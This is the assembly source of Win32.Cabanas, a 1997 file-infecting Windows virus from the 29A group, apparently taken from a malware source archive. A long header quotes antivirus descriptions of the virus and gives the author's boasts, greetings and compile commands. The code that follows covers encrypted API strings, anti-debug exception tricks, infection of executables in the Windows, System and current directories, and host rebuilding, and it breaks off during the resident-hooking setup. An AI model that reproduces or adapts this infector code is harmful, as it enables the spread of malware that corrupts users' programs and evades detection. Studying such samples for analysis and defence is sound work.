MalwareSourceCode/Win32/Infector/Win32.Cabanas.2999.asm
2020-10-16 23:26:21 +02:00

2643 lines
114 KiB
NASM
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Win32.Cabanas.2999 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus.
; Not only it's the first virus stayin resident on NT, but is also the first
; with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz,
; this babe is a "per process" memory resident, size stealth virus infecting
; Portable Executable filez on every existin Win32-based system. Those who
; dont know what a "per process" resident virus is, it means a virus staying
; resident inside the host Win32 aplication's private space, monitoring file
; activity and infectin PE filez opened or accesed by such Win32 aplication.
;
; The purpose of this virus is to prove new residency techniquez that can be
; exploited from genuine Win32 infectorz, without all the trouble of writing
; especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is
; a virus bein able to work unmodified across all Win32 platformz available:
; Win95, WinNT and any other future platform suportin the Win32 API interfa-
; ce. So far only Win95 especific virusez have been found, not Win32 genuine
; onez. Make sure to read the complete description about Win32.Cabanas writ-
; ten by Pter Sz”r, available at http://www.avp.ch/avpve/newexe/win32/caba-
; nas.stm. U can also read description by Igor Daniloff from Dr.Web, availa-
; ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.
;
; After readin Pter Sz”r's description about Win32.Cabanas, i realized he'd
; really made a very serious profesional work. So good that he didnt seem to
; miss any internail detail in the virus, as if he had actually writen the
; bug himself or as if he was actually me, hehe. Obviosly, none of the prior
; onez are true. But, nevertheless, i think it's worth to take his work into
; account even from the VX side of the fence. Really i dunno what's left for
; me to say after such description, so i will simply add my own personal co-
; mentz to Pter's log. Erm.. btw why dont u join us? heh >8P
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; 1. Technical Description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Cabanas is the first known 32-bit virus that works under Windows NT
; Server, Windows NT workstation, Windows 95 and Windows 3.x extended with
; Win32s sub-system. It was found in late 1997.
;
; Win32.Cabanas is a per-process memory resident, fast infecting, antidebug-
; ged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The
; "Win32" prefix is not misleading, as the virus is also able to spread in
; all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of
; the virus is a member of the 29A group, the same young virus writer who
; wrote the infamous CAP.A virus.
;
;
; 1.1. Running an infected PE file
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When a Win32.Cabanas infected file is executed, the execution will start
; at the original host entry point. Surprisingly, Cabanas does not touch
; the entry point field in the Image File Header. Instead it patches the
; host program at its entry point. Five bytes at the entry point is replaced
; with a FAR JMP to the address where the original program ended. This can
; be considered as an anti-heuristic feature, as the host entry point value
; in the PE header keeps pointing inside the code section, possibly turning
; off some heuristic flags.
;
; Thus the first JMP points to the real entry point. The first function in
; Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL
; API names. The unpack mechanism is simple but effective enough. Cabanas is
; also an armored virus. It uses "Structured Exception Handling" (typically
; abbreviated as "SEH") as an anti-debug trick. This prevents debugging from
; any application-level debugger, such as TD32.
;
; When the unpack/decryptor function is ready, the virus calls a routine to
; get the original Base Address of KERNEL32.DLL. During infection time, the
; virus searches for GetModuleHandleA and GetModuleHandleW API in the Import
; Table, respectively. When it finds them, it saves a pointer to the actual
; DWORD in the .idata list. Since the loader puts the addresses to this
; table before it executes the virus, Cabanas gets them easily.
;
; If the application does not have a GetModuleHandleA / GetModuleHandleW API
; import, the virus uses a third undocumented way to get the Base Address of
; KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32
; import. Actually this will not work under Windows NT, but on Win95 only.
; When the virus has the Base Address/Module Handle of KERNEL32.DLL, it
; calls its own routine to get the address of GetProcAddress function. The
; first method is based on the search of the Import Table during infection
; time. The virus saves a pointer to the .idata section whenever it finds a
; GetProcAddress import in the host. In most cases Win32 applications import
; the GetProcAddress API, thus the virus should not use a secondary routine
; to get the same result. If the first method fails, the virus calls another
; function which is able to search for GetProcAddress export in KERNEL32.
; Such function could be called as GetProcAddress-From-ExportsTable. This
; function is able to search in KERNEL32's Exports Table and find the
; address of GetProcAddress API.
;
; This function is one of the most important ones from the virus point of
; view and it is compatible with all Win32 based systems. If the entry point
; of GetProcAddress was returned by the GetProcAddress-From-ExportsTable
; function, the virus saves this address and use it later on. Otherwise, the
; GetProcAddress-From-ExportsTable function will be used several times. This
; function is also saved with "Structured Exception Handling" to avoid from
; possible exceptions. After this, the virus gets all the API addresses it
; wants to use in a loop. When the addresses are available, Cabanas is ready
; to replicate and call its direct action infection routine.
;
;
; 1.2. Direct action infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The direct action infection part is surprisingly fast. Even though the
; virus goes through all the files in Windows directory, Windows System
; directory and in the current directory respectively, the file infection
; is fast enough to go unnoticed in much systems. This is because the virus
; works with "memory mapped files", a new feature implemented in Win32 based
; systems which simplifies file handling and increases system performance.
;
; First the virus gets the name of Windows directory, then it gets the name
; of Windows System directory and calls the function which searches for non-
; infected executable images. It searches for non directory entries and
; check the size of the files it found.
;
; Files with size dividable by 101 without reminder are assumed to be
; infected. Other files which are too huge will not be infected either.
; After this, the virus checks the file extension, if it matches EXE or
; SCR (screen saver files), the virus opens and maps the file. If the file
; is considered too short, the file is closed. Then it checks the`MZ' marker
; at the beginning of the image. Next it positions to the possible `PE'
; header area and checks the `PE' signature. It also checks that the
; executable was made to run on 386+ machines and looks for the type of
; the file. DLL files are not infected.
;
; After this, the virus calculates a special checksum which uses the
; checksum field of PE files Optional Header and the file-stamp field of
; the Image File Header. If the file seems to be infected the virus closes
; the file. If not, the file is chosen for infection. Cabanas then closes
; the file, blanks the file attribute of the file with SetFileAttributeA API
; and saves the original attributes for later use. This means the virus is
; not stopped by the "Read Only" attribute. Then again, it opens and maps
; the possible host file in read/write mode.
;
; Next it searches for the GetModuleHandleA, GetModuleHandleW and
; GetProcAddress API imports in the host Import Table and calculates
; pointers to the .idata section. Then it calls the routine which
; patches the virus image into the file.
;
; This routine first checks that the .idata section has MEM_WRITE
; characteristics. If not it sets this flag on the section, but only if
; this section is not located in an executable area. This prevents the
; virus from turning on suspicious flags on the code section, triggered
; by some heuristic scanner.
;
; Then it goes to the entry point of the image and replaces five bytes
; with a FAR JMP instruction which will point to the original end of the
; host. After that it checks the relocation table. This is because some
; relocations may overwrite the FAR JMP at the entry point. If the
; relocation table size is not zero the virus calls a special routine
; to search for such relocation entries in the .reloc area. It clears
; the relocation type on the relocation record if it points into the FAR
; JMP area, thus this relocation will not take into account by the loader.
; The routine also marks the relocation, thus Cabanas will be able to
; relocate the host later on. Then it crypts all the information which has
; to be encrypted in the virus body. Including the table which holds the
; original 5 bytes from the entry point and its location.
;
; Next the virus calculates the special checksum for self checking purposes
; and saves this to the time stamp field of the PE header. When everything
; is ready, the virus calculates the full new size of the file and makes
; this value dividable by 101. The real virus code is around 3000 bytes
; only but the files will grow with more bytes, because of this. Cabanas
; has a very important trick here. The virus does not create a new section
; header to hold its code, but patches the last section header in the file
; (usually .reloc) to grow the section body large enough to store the virus
; code. This makes the infection less risky and less noticeable.
;
; Then the virus changes the SizeOfImage field in the PE header to reflect
; the changes made to the last section in the file, then unmaps and closes
; the file. Next it truncates the file at the previously calculated size
; and restores the original time and date stamp. Finally Cabanas resets the
; original attribute of the file. When all the possible files have been
; checked for infection, Cabanas is ready to go memory resident.
;
;
; 1.3. Rebuild the host, Hook API functions and Go memory resident
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The next phase is to rebuild the host program. The virus locates an
; internal parameter block which consists of the previously encrypted code
; from the host (5 bytes) and writes back the 5 original bytes at the entry
; point. After this, it relocates the code area if needed, by searching in
; the .reloc section for marked relocation entries. Next the virus hooks
; API functions and goes memory resident.
;
; The API hooking technique is based on the manipulation of the Import
; Table. Since the host program holds the addresses of imported functions
; in its .idata section, all the virus has to do is to replace those
; addresses to point to its own API handlers.
;
; To make those calculations easy, the virus opens and maps the infected
; program. Then it allocates memory for its per-process part. The virus
; allocates a 12232 bytes block and copies itself into this new allocated
; area. Then it searches for all the possible function names it wants to
; hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA,
; MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW,
; CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose,
; FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA,
; SetFileAttrW. Whenever it finds one of the latter APIs, it saves the
; original address to its own JMP table and replaces the .idata section's
; DWORD (which holds the original address of the API) with a pointer to its
; own API handlers. Finally the virus closes and unmaps the host and starts
; the application, by jumping into the original entry point in the code
; section.
;
; Some Win32 applications however may not have imports for some of these
; file related APIs, they can rather retrieve their addresses by using
; GetProcAddress and call them directly, thus the virus would be unable
; to hook this calls. Not so fast. The virus also hooks GetProcAddress
; for a special purpose. GetProcAddress is used by most applications.
; When the application calls GetProcAddress the virus new handler first
; calls the original GetProcAddress to get the address of the requested
; API. Then it checks if the Module Handle parameter is from KERNEL32 and
; if the function is one of the KERNEL32 APIs that the virus wants to hook.
; If so, the virus returns a new API address which will point into its
; NewJMPTable. Thus the application will still get an address to the virus
; new handler in such cases as well.
;
;
; 1.4. Stealth and fast infection capabilities
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW,
; FindNextFileA and FindNextFileW, the virus checks for already infected
; programs. If the program is not infected the virus will infect it,
; otherwise it hides the file size difference by returning the original
; size for the host program. During this, the virus can see all the file
; names the application accesses and infects every single clean file.
;
; Since the CMD.EXE (Command Interpreter of Windows NT) is using the above
; APIs during a DIR command, every non infected file will be infected (if
; the CMD.EXE was infected previously by Win32.Cabanas). The virus will
; infect files during every other hooked API request as well.
;
; Apart from the encrypted API names strings, the virus also contains the
; following copyright message:
;
; (c) Win32.Cabanas v1.0 by jqwerty/29A.
;
;
; 1.5. Conclusion
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Cabanas is a very complex virus with several features new in Win32
; based systems. It shows quite interesting techniques that can be used in
; the near future. It demonstrates that a Windows NT virus should not have
; any Windows 95 or Windows NT especific functionality in order to work on
; any Win32 system. The "per-process" residency technique also shows a
; portable viable solution to avoid known compatibility issues between
; Windows 95 and Windows NT respecting their low level resident driver
; implementations. Virus writers can use these techniques and their
; knowledge they have had on Windows 95 to come to a more robust platform.
; So far Win32.Cabanas has made this first step.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 2. Shortcutz
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.dials.ccas.ru/inf/cabanas.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win32.Cabanas: A brief description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Igor A. Daniloff
;
; Win32.Cabanas is the first known virus that infects files under Microsoft
; 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only
; is it capable of infecting PortableExecutable files, but also remains
; resident in the current session of an infected program in all these
; Windows systems.
;
; The viruses specifically designed for Windows 95 thus far could not
; properly infect files in Windows NT. Although files of Windows 95 and
; Windows NT have identical PE format, certain fields in their PE headers
; are different. Therefore, for infecting files under Windows NT, the PE
; header must be modified appropriately; otherwise Windows NT would display
; an error message in the course of loading the file. Furthermore, viruses
; encounter certain problems in determining the base addresses of WIN32
; KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows
; NT are located at different memory addresses. But Win32.Cabanas smartly
; handles these problems. On starting an infected file, the virus gets
; control, unpacks and decrypts its table of names of WIN32 KERNEL API
; procedures that are needed in the sequel, and then determines the base
; address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL
; API functions.
;
; While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA,
; GetModuleHandleW, and GetProcAddress functions from the Import Table and
; stores in its code the offsets of the addresses of these procedures in the
; Import Table (in the segment .idata, as a rule). If the names of these
; procedures are not detectable, Win32.Cabanas uses a different undocumented
; method of finding the base address of KERNEL32 and the addresses of WIN32
; KERNEL API. But there is a bug in this undocumented method; therefore the
; method is inoperative under Windows NT. If the addresses of
; GetModuleHandleA or GetModuleHandleW functions are available in the Import
; Table of the infected file, the virus easily determines the WIN32 KERNEL
; API addresses through the GetProcAddress procedure. If the addresses are
; not available in the Import Table, the virus craftily finds the address of
; GetProcAddress from the Export Table of KERNEL32. As already mentioned,
; this virus mechanism is not operative under Windows NT due to a bug, and,
; as a consequence, the normal "activity" of the virus is disabled. This is
; the only serious bug that prevents the proliferation of Win32.Cabanas
; under Windows NT. On the contrary, in Windows 95 the virus "feels
; completely at home" and straightforwardly (even in the absence of the
; addresses of GetModuleHandleA or GetModuleHandleW) determines the base
; address of KERNEL32.DLL and GetProcAddress via an undocumented method.
;
; Using the GetProcAddress function, Win32.Cabanas can easily get the
; address of any WIN32 KERNEL API procedure that it needs. This is precisely
; what the virus does: it gets the addresses and stores them.
;
; Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files
; in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a
; file, the virus checks for a copy of its code through certain fields in
; the PE header and by the file size, which for an infected must be a
; multiple of 101. As already mentioned, the virus searches for the names of
; GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table
; and saves the references to their addresses. Then it appends its code at
; the file end in the last segment section (usually, .reloc) after modifying
; the characteristics and size of this section. Thereafter, the virus
; replaces the five initial bytes of the original entry point of the code
; section (usually, .text or CODE) by a command for transferring control to
; the virus code in the last segment section (.reloc). For this purpose, the
; virus examines the relocation table (.reloc) for finding some element in
; the region of bytes that the virus had modified. If any, the virus
; "disables" the reference and stores its address and value for restoring
; the initial bytes of the entry point at the time of transfer of control
; to the host program and, if necessary, for appropriately configuring the
; relocation.
;
; After infecting all files that yield to infection in \WINDOWS, \WINDOWS\
; SYSTEM, and in the current folder, the virus plants a resident copy into
; the system and "intercepts" the necessary system functions. Using
; VirtualAlloc, the virus allots for itself 12232 bytes in the memory and
; plants its code there. Then it tries to "intercept" the following WIN32
; KERNEL API functions: GetProcAddress, GetFileAttributesA,
; GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA,
; CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW,
; CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW,
; FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus
; "picks up" the addresses of these functions from the Import Table, and
; writes the addresses of its handlers in the Import Table. On failing to
; "intercept" certain necessary functions, the virus, when the host program
; calls for the GetProcAddress function, verifies whether this function is
; necessary for the host program, and returns the address of the virus
; procedure to host program if necessary. When a program calls for certain
; functions that have been "intercepted" by Win32.Cabanas, the file
; infection engine and/or the stealth mechanism are\is initialized. Thus,
; when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW
; functions are called, the virus may infect the file which is being
; searched and hide the increase in the infected file size.
;
; Win32.Cabanas cannot be regarded as a "true resident" virus, because it
; "intercepts" system functions and installs its copy in a specific memory
; area only in the current session of an infected program. But what will
; happen on starting, for example, an infected Norton Commander for Windows
; 95 or Command Interpreter for Windows NT? Or a resident program? Indeed,
; Win32.Cabanas will also "work hard" side by side with such a program until
; it is terminated.
;
; Win32.Cabanas contains an encrypted text string
; "(c) Win32.Cabanas v1.0 by jqwerty/29A"
;
; (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 3. Main featurez
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; * Platformz: WindowsNT, Windows95, Win32s, i.e. all Win32 platformz.
; * Residency: Yes, "Per Process", workin on all Win32 systemz.
; * Non-Residency: Yes, direct action, infects PEz before goin resident.
; * Stealth: Yes, size stealth of inf.filez (F-Potatoe95 fooled).
; * AntiDebuging: Yes, TD32 or any other "aplication" level debuger
; generates an exception when debugin an infected
; aplication. This obviosly doesnt aply for Soft-ICE
; for Windows95, a big monster.
; * AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection.
; Other Win95 virusez tend to "mark" the PE header so
; they are easily noticeable. See: Other featurez (e).
; * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*.
; * Fast infection: Yes, filez are infected when accesed for any reason.
; * Polymorphism: No, the poly engine was stripped and removed on purpose.
; * Other featurez:
; (a) The EntryPoint field in the PE hdr is not modified.
; (b) Win32 file API functionz are hooked for infection and
; stealth purposez but also for platform compatibility.
; (c) Use of the Win32 "File-Maping" API functionz, thus
; implementin "Memory-Mapped Filez". No more "ReadFile",
; "SetFilePointer", "WriteFile"... it was about time.
; (d) Absolutely no use of absolute adressez in sake of
; compatibility with other future Win32 releasez.
; (e) The SHAPE AV program sucks, but sadly it was the best
; thing detectin PE infected filez heuristicaly. Well
; almost as it didnt triger a single flag on this one :)
; (f) Use of "Structured Exception Handling" (SEH) in those
; critical code fragmentz that could generate GP faultz,
; i.e. exceptionz are intercepted and handled properly.
; (g) Unicode suport. This babe really works in NT. No lie.
;
;
; 4. Who was Cabanas?
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Gonzalo Cabanas used to be a daydream believer. We shared several thingz
; in comon, heard same R.E.M music style, wore the same ragged blue jeanz,
; and behaved like kidz everywhere we went together, putin tackz on the tea-
; cher's chair, stealin some classmate's lunch and so on. We even liked the
; same girlz, which explains why we sometimez ended up punchin each other's
; face from time to time. However, u could find us the next day, smoking a-
; round by the skoolyard as if nothin had ever hapened. We were the best
; friendz ever. I know this virus wont return him back to life, nor "will do
; him justice", however, i still wanted to somewhat dedicate this program in
; his honor.
;
;
; 5. Greetz
; ÄÄÄÄÄÄÄÄÄ
; The greetz go to:
;
; Gonzo Cabanas ......... Hope to see u somewhere in time.. old pal!
; Murkry ................ Whoa.. i like yer high-tech ideaz budie!
; VirusBuster/29A ....... U're the i-net man pal.. keep doin it!
; Vecna/29A ............. Keep up the good work budie.. see ya!
; l- .................... Did ya ask for some kick-ass lil' creature? X-D
; Int13 ................. Hey pal.. u're also a southamerican rocker! ;)
; Peter/F-Potatoe ....... Yer description rulez.. Mikko's envy shines!
; DV8 (H8), kdkd, etc ... Hey budiez.. now where da hell are u?
; GriYo, Sandy/29A ...... Thx for yer patience heh X-D
;
;
; 6. Disclaimer
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsable for any problemz caused due to the assembly of this file.
;
;
; 7. Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn cabanas.asm
; tlink32 -Tpe -c -x -aa cabanas,,, import32
; pewrsec cabanas.exe
;
;
; (c) 1997 Jacky Qwerty/29A.
.386p ;generate 386+ protected mode instructionz
.model flat ;no segmentz and a full 32-bit offset.. what a dream ;)
;Some includez containin very useful structurez and constantz for Win32
include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc
;Some equ's needed by the virus
nAPIS = 1*1024 ;size of jump table holdin hooked APIz
nHANDLEZ = 2*1024 + 512 ;size of Handlez table
nPATHNAMEZ = 4*1024 + 512 ;size of PathNamez table
extrn GetModuleHandleA :proc ;APIz used durin first generation only
extrn GetProcAddress :proc
.data
db ? ;some dummy data so tlink32 dont yell
.code
;Virus code starts here
v_start:
call get_base
code_table:
dd 12345678h ;host RVA entry point
dw 1 ;number of bytez
db ? ;bytez to patch
dw 0 ;end of parameter block
code_start:
;Packed APIz needed by the virus. They will travel in packed/encrypted form
ve_stringz:
veszKernel32 db 'KERNEL32',0
veszGetModuleHandleA db 'GetModuleHandleA'
veszGetModuleHandleW db 80h,17
eExts db 'fxEtcR',0 ;list of file extensionz
veszGetProcAddress db 'GetProcAddress',0
veszGetFileAttributesA db 'Ge','t'+80h,'AttributesA'
veszGetFileAttributesW db 80h,19
veszMoveFileExA db 'Mov','e'+80h,'ExA'
veszMoveFileExW db 80h,12
vesz_lopen db '_lopen',0
veszCopyFileA db 'Cop','y'+80h,'A'
veszCopyFileW db 80h,10
veszOpenFile db 'Ope','n'+80h,0
veszMoveFileA db 'Mov','e'+80h,'A'
veszMoveFileW db 80h,10
veszCreateProcessA db 'CreateProcessA'
veszCreateProcessW db 80h,15
veszCreateFileA db 'Creat','e'+80h,'A'
veszCreateFileW db 80h,12
veszFindClose db 'FindClose',0
veszFindFirstFileA db 'FindFirs','t'+80h,'A'
veszFindFirstFileW db 80h,15
veszFindNextFileA db 'FindNex','t'+80h,'A'
veszFindNextFileW db 80h,14
veszSetFileAttributesA db 'Se','t'+80h,'AttributesA'
veszSetFileAttributesW db 80h,19
veszCloseHandle db 'CloseHandle',0
veszCreateFileMappingA db 'Creat','e'+80h,'MappingA',0
veszMapViewOfFile db 'MapViewO','f'+80h,0
veszUnmapViewOfFile db 'UnmapViewO','f'+80h,0
veszSetFilePointer db 'Se','t'+80h,'Pointer',0
veszSetEndOfFile db 'SetEndO','f'+80h,0
veszSetFileTime db 'Se','t'+80h,'Time',0
veszGetWindowsDirectory db 'GetWindowsDirectoryA',0
veszGetSystemDirectory db 'GetSystemDirectoryA',0
veszGetCurrentProcess db 'GetCurrentProcess',0
veszGetModuleFileName db 'GetModul','e'+80h,'NameA',0
veszWriteProcessMemory db 'WriteProcessMemory',0
veszWideCharToMultiByte db 'WideCharToMultiByte',0
veszVirtualAlloc db 'VirtualAlloc',0
eEndOfFunctionNamez db 0
;Copyright and versionz
eszCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0
ve_string_size = $ - ve_stringz
get_base:
mov ecx,ve_string_size ;get size of packed/encrypted stringz
mov esi,[esp] ;get pointer to packed/encrypted stringz
xor ebx,ebx
mov eax,esi
sub esi,ecx
cld
sub dword ptr [esp],code_table - seh_fn
add esi,[eax - 4]
push dword ptr fs:[ebx] ;set SEH frame.. ever seen FS in action? X-D
lea edi,[esi + pCodeTable - ve_stringz]
stosd ;save pointer to code_table
add eax,12345678h
delta_host = dword ptr $ - 4
stosd ;save actual host base adress
mov eax,esi
stosd ;save pointer to virus start
ebp_num = ddGetProcAddress + 7Fh
tmp_edi = pcode_start + 4
mov fs:[ebx],esp
pushad
xchg eax,[ebx - 2] ;go away lamerz and wannabeez..
db 2Dh
seh_rs: sub edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name
pop eax
push edi ;pass the pointer twice
push edi
decrypt_stringz: ;decrypt/unpack API namez and other stringz
lodsb
rol al,cl
xor al,0B5h
jns d_stor
add al,-80h
jnz d_file
stosb ;expand/unpack unicode API name
xor eax,eax
lodsb
push esi
xchg ecx,eax
mov esi,edx
rep movsb
xchg ecx,eax
sub byte ptr [edi - 2],'A'-'W'
pop esi
jmp d_updt
d_file: stosb
xor eax,eax
sub eax,-'eliF' ;expand to 'File' where aplies
stosd
cmp al,?
org $ - 1
d_stor: stosb
jnz d_loop
d_updt: mov edx,edi
d_loop: loop decrypt_stringz ;get next character
call MyGetModuleHandleA ;get KERNEL32 base adress (first try)
pop esi
jnz gotK32 ;jump if found
sub ecx,ecx
xor eax,eax
mov cl,9
push edi
cld
copy_K32W: ;make unicode string for KERNEL32
lodsb
stosw
loop copy_K32W
call MyGetModuleHandleW ;get KERNEL32 base adress (second try)
jnz gotK32 ;jump if found
call MyGetModuleHandleX ;get KERNEL32 base adress (third try)
jnz gotK32 ;jump if found
quit_app:
pop eax ;shit.. KERNEL32 base adress not found
ret ;try to quit aplication via an undocumented way
db 67h ;some prefix to confuse lamerz
seh_fn: mov eax,[esp.EH_EstablisherFrame]
lea esp,[eax - cPushad]
popad
xor eax,eax
lea ebp,[edi + ebp_num - tmp_edi]
pop dword ptr fs:[eax] ;remove SEH frame
jmp seh_rs
gotK32: mov [ebp + K32Mod - ebp_num],eax ;store KERNEL32 base adress
cmp dword ptr [ebp + ddGetProcAddress - ebp_num],0
xchg ebx,eax
jnz find_APIs ;got RVA pointer to GetProcAdress API?
lea esi,[ebp + vszGetProcAddress - ebp_num]
call MyGetProcAddressK32 ;no, get adress of GetProcAdress directly
jecxz find_APIs
lea eax,[ebp + ddGetProcAddress2 - ebp_num]
mov [eax],ecx
sub eax,[ebp + phost_hdr - ebp_num]
mov [ebp + ddGetProcAddress - ebp_num],eax
find_APIs: ;find file related API adressez from KERNEL32..
lea esi,[ebp + FunctionNamez - ebp_num]
lea edi,[ebp + FunctionAdressez - ebp_num]
GetAPIAddress:
call MyGetProcAddressK32 ;get API adress
jecxz quit_app
cld
xchg eax,ecx
stosd ;save retrieved API adress
@endsz ;point to next API name
cmp [esi],al ;end of API namez reached?
jnz GetAPIAddress ;no, get next API adress
lea ebx,[ebp + Process_Dir - ebp_num]
lea edi,[ebp + PathName - ebp_num]
push 7Fh
push edi
call [ebp + ddGetWindowsDirectoryA - ebp_num]
call ebx ;infect filez in WINDOWS directory
push 7Fh
push edi
call [ebp + ddGetSystemDirectoryA - ebp_num]
call ebx ;infect filez in SYSTEM directory
xor eax,eax
mov byte ptr [edi],'.'
inc eax
call ebx ;infect filez in current directory
build_host: ;rebuild the host..
mov esi,[ebp + pCodeTable - ebp_num] ;get code table of host
mov ebx,[ebp + phost_hdr - ebp_num] ;get host base adress
cld
lodsd
add eax,0B2FD26A3h ;decrypt original entry point RVA
add_1st_val = dword ptr $ - 4
xchg edi,eax
add edi,ebx
push edi ;save entry point for l8r retrieval
get_count:
call [ebp + ddGetCurrentProcess - ebp_num] ;get pseudo-handle for current process
xchg ecx,eax
cld
lodsw ;get number of bytes to copy
cwde
xchg ecx,eax
mov edx,ecx
push ecx ;push parameterz to WriteProcessMemory API
push eax
push esp
push ecx
push esi
push edi
push eax
decrypt_hostcode: ;decrypt the chunk of original host code previosly encrypted..
lodsb
xor al,06Ah
xor_2nd_val = byte ptr $ - 1
rol al,cl
mov [esi-1],al
loop decrypt_hostcode
sub ecx,12345678h
old_base = dword ptr $ - 4
add ecx,ebx ;has host base adress been relocated?
jz write_chunk ;no, relocation fix not necesary.. jump
;fix code pointed to by one or more nulified relocationz..
pushad ;get RVA start of relocation section..
lea esi,[ebx.MZ_lfanew]
sub edi,ebx
add esi,[esi]
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation dir.
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
-MZ_lfanew]
jecxz _popad
mov esi,[esi.NT_OptionalHeader \ ;get RVA to relocation section
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
-MZ_lfanew]
call redo_reloc ;pass adress of fix_relocs label as a parameter
fix_relocs: ;process relocation block and look for nulified relocationz..
lodsw ;get relocation item
cwde
dec eax
.if sign?
jnc f_next_reloc ;if first item, jump to get next relocation item
.endif
test ah,mask RD_RelocType shr 8 ;is relocation nulified?
jnz f_next_reloc ;no, jump to get next relocation item
lea eax,[eax + ebx + 5]
cmp edi,eax ;relocation item points inside chunk of code?
jnc f_next_reloc ;no, jump to get next relocation item
add eax,-4
cmp eax,edx
jnc f_next_reloc ;no, jump to get next relocation item
;relocation item is pointing inside chunk of code.. add delta to fix it..
pushad
mov ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress
mov ebp,[ebx + edi - 4]
mov ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside code table
mov ebx,[ebx + edx]
xchg ebp,[ecx - 4]
sub ecx,edi
mov esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add
xchg ebx,[edx + ecx]
add [eax + ecx],esi ;add delta.. (aack! damned relocationz..)
mov [edx + ecx],ebx
popad
clc
f_next_reloc:
loop fix_relocs ;get next relocation item
ret
redo_reloc:
call get_relocs
_popad: popad
write_chunk:
call [ebp + ddWriteProcessMemory - ebp_num] ;write chunk of code to the code section
xchg ecx,eax
pop edx
cld
pop eax
jecxz n_host ;if error, jump and try to stay resident without jumpin back to host
xor edx,eax
lodsw ;get pointer to next chunk of code to patch, if any
jnz n_host ;if error, jump and try to stay resident without jumpin back to host
cwde
xchg ecx,eax
sub edi,ecx
jecxz go_resident ;no more chunkz, jump and try to stay resident, then jump back to host
jmp get_count ;jump and patch the next chunk
n_host: pop eax ;unwind return adress, an error occured, cant jump to host :(
go_resident:
lea esi,[ebp + FindData - ebp_num]
push MAX_PATH
push esi
push ecx
call [ebp + ddGetModuleFileName - ebp_num] ;get host filename
xchg ecx,eax
